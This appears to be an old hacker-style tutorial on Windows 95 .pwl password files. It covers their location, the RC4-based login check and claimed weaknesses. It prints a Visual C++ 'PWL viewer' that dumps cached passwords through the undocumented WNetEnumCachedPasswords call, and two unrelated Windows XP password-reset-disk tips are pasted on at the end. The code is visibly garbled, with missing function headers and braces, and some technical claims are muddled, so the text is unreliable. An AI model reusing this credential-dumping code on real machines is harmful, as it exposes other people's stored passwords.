Windows Password Files Torn Apart

All, Windows, users would probably be familiar with the infamous ‘pwl’ files or the files where the Windows login passwords are stored. Well, this manual is aimed at, simplifying how the authentication works when you type in your User name And password, what exactly .pwl files contain, where exactly they come into the picture and a whole lot of related things.

The *.pwl files are basically files in which the Windows Login Passwords are stored in. These files can be found in the \Windows directory by the name of the User, whose password it contains. For Example, if your Windows login Username is ankit, then the corresponding password would be stored in c:\windows\ankit.pwl Get it? These .pwl files are readable in any text editor like Notepad, but they are definitely not understandable. A typical example, of the contents of a .pwl file is as follows:


p u.ÐX+|rÐq”±/2³ Êå¡hCJ‚D × `ÍY¥!íx}(qW¤ãƱ<!–?àÜ6šá˜ôæ4+\3/4õ+%E°ËÔýmÇÔ ÞI»‚ B àלøÐ…'@ This is definitely not something; a normal person can comprehend or make sense of. Now, besides the Windows registry, Microsoft’s policy of security by obscurity can also be seen in the case of what .pwl files. Although the original usage of .pwl files was a standard to be used, by all applications, Microsoft simply does not officially provide any type of information on the standards of .pwl files. To get a list of .pwl files in your system or in other words to find out which all passwords using the .pwl technology (What a good friend of mine likes to call them) are being stored on a particular system, then simply open c:\windows\system.ini in a plaintext editor like Notepad and look under the [Password Lists] section. A typical line from this section would be in the following format: USERNAME=Path_of_pwl_file For Example, [Password Lists] ankit=c:\windows\ankit.pwl This tells us that the .pwl containing the password for the Username ‘ankit’ is stored at: c:\windows\ankit.pwl Anyway, the algorithm which is used in the case of storing information in the .pwl files (rather in the .pwl security option), refers to such files as databases, with each record consisting of three fields-: Resource name Resource password Resource type (0..255) Before, I move onto giving details about the above three fields, let us discuss, how exactly the User Authentication process takes place in Windows (In the case of the login password.) NOTE: The below process is what happens in the case of the Windows login password. When you first set a new account on Windows, it derives an encryption key from the specified password and creates c:\windows\username.pwl file, where username is the, well, quite obvious. One, thing to note here is that the .pwl file does not, I repeat does not store the login password, nor does it store the Username.(Although its name is same as the Username for whose authentication it is used.) What it stores, will become clearer once you read the below paragraph. Now, the next time, you boot your system and type in your Username and password, then Windows, decrypts the .pwl corresponding to the Username provided, using the decrypting key obtained from the password provided. Once, the .pwl file has been decrypted using the decryption key obtained from the provided password, Windows, verifies the checksum. If the checksum is correct or matches, then the user is authenticated else, try again. In the process of checksum verification, the username provided plays an important role. Both the Username and Checksum are encrypted using a simple algorithm: RC4. ***************************** TRUTH: Although, almost always, the name of the .pwl file is same as the Username, sometimes the name does differ. For Example, if, I use 2 to 3 different applications using .pwl security and then use the same username i.e. ankit in all of them to store passwords, then the naming of the .pwl files would be as follows: The first .pwl would be named: ankit.pwl, the second would be named: ankit000.pwl , the third would be: ankit001.pwl and so on. And, I am not too sure, but from what I gather, Windows never ever overwrites a .pwl file. ****************************** Coming, back to the fields. Both the resource name and resource password fields can be binary or simply encrypted and they are interchangeable by the application involved. The Resource Type field can have different numerical values depending upon the software involved. For Example, DUN, Dial Up Server and Windows Login, uses 6 as the value for the Resource Type field. While, Internet Explorer uses 19 as the value of the same field. One thing to note about Windows Login password algorithms is that, the first time it was introduced, the algorithm was very very weak and allowed passwords to be easily decrypted. However, with each new release, the algorithms used have been improving. However, it still has not reached a reliable level. In the algorithms used by various Operating Systems to encrypt their login passwords, the algorithm used by Windows is the worst. Some common defects are-: 1. The cipher algorithms involved are relatively lame. i.e. RC4 and MD5. They can easily be broken. Refer to:\algorithms.htm for more info on various Encryption algorithms. 2. All passwords are converted to uppercase 3. Un-acceptably lame or weak method of storage. 4. Various Holes existing in the Password Caching Facility. The following Visual C++ program demonstrates further as to how this vulnerability can be exploited. /* (c) 1997, 98 Vitas Ramanchauskas Use Visual C++ to compile this into win32 console app. This code provided for educational purpose only. !! NO WARRANTY, NO SUPPORT !! */ #include

typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry; // size of this entry, in bytes
WORD cbResource; // size of resource name, in bytes
WORD cbPassword; // size of password, in bytes
BYTE iEntry; // entry index
BYTE nType; // type of entry
BYTE abResource[1]; // start of resource name
// password immediately follows resource name

char *buf, *ob1;
int cnt = 0;

memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1); // for non-English users
printf(“%-30s : “, ob1);

memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf(“%s\n”, ob1);

return TRUE;

void main()
buf = new char[1024];
ob1 = new char[1024];
puts(“There is no security in this crazy world!\n”
“Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas\n”
“!This program intended to be used for legal purpose only!\n”
“This program shows cached passwords using standard (but undocumented)\n”
“Windows API on local machine for current user (user must be logged in).\n”
“You may invoke pwlview in this way: pwlview >> textfile.txt\n”
“to save passwords in file (don’t forget to press enter twice)\n”
“Press Enter to begin…\n”);

HINSTANCE hi = LoadLibrary(“mpr.dll”);
puts(“Couldn’t load mpr.dll. This program is for Windows 95 only”);
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, “WNetEnumCachedPasswords”);
puts(“Couldn’t import function. This program is for Windows 95 only”);
(*enp)(0,0, 0xff, pce, 0);
puts(“No passwords found.\n”
“Probably password caching was not used or user is not logged in.”);
puts(“\nPress Enter to quit”);


Create A Password Reset Disk

If you’re running Windows XP Professional as a local user in a workgroup environment, you can create a password reset disk to log onto your computer when you forget your password. To create the disk:
1.Click Start, click Control Panel, and then click User Accounts.
2.Click your account name.
3.Under Related Tasks, click Prevent a forgotten password.
4.Follow the directions in the Forgotten Password Wizard to create a password reset disk.
5.Store the disk in a secure location, because anyone using it can access your local user account.

Create A Password Reset Disk

Here’s an important tip… If you are using a password protected user account in Windows XP (and you really, really should be ) you might be nervous about forgetting your password. Well here’s a way to put your mind at ease, at least a little bit. Windows XP allows users to create a password reset disk specific to their user account. This disk can be used at the welcome screen to reset your password in the event that you do forget it.
To create the disk:
Go to start\control panel\user accounts. Select the account you are currently logged in as. Under the ‘related tasks’ heading in the top left corner, click ‘prevent a forgotten password’ to open the forgotten password wizard. Insert a blank floppy disk and follow the instructions to create your password reset disk.
To use the password reset disk in case of emergency:
Once you have created a password reset disk for a specific user, the next time the password for that user is entered incorrectly at the welcome screen, a message will pop up asking if you have forgotten your password. At this point you can elect to use your password reset disk. Follow the instructions to reset your password.
Note: There are a couple of possible problems with the above procedure. For one, if you have used Windows XP’s built in encryption feature to encrypt some of your files and folders, but have not yet updated to service pack 1, do not reset your password, as you will lose access to all the encrypted data. Once you have got service pack 1, it is safe to use the disk. Also, you cannot gain access to the reset feature if you have disabled the welcome screen on XP by using tip #31 above.
Keep your reset disk in a safe location, because anyone else can also use it to reset your password…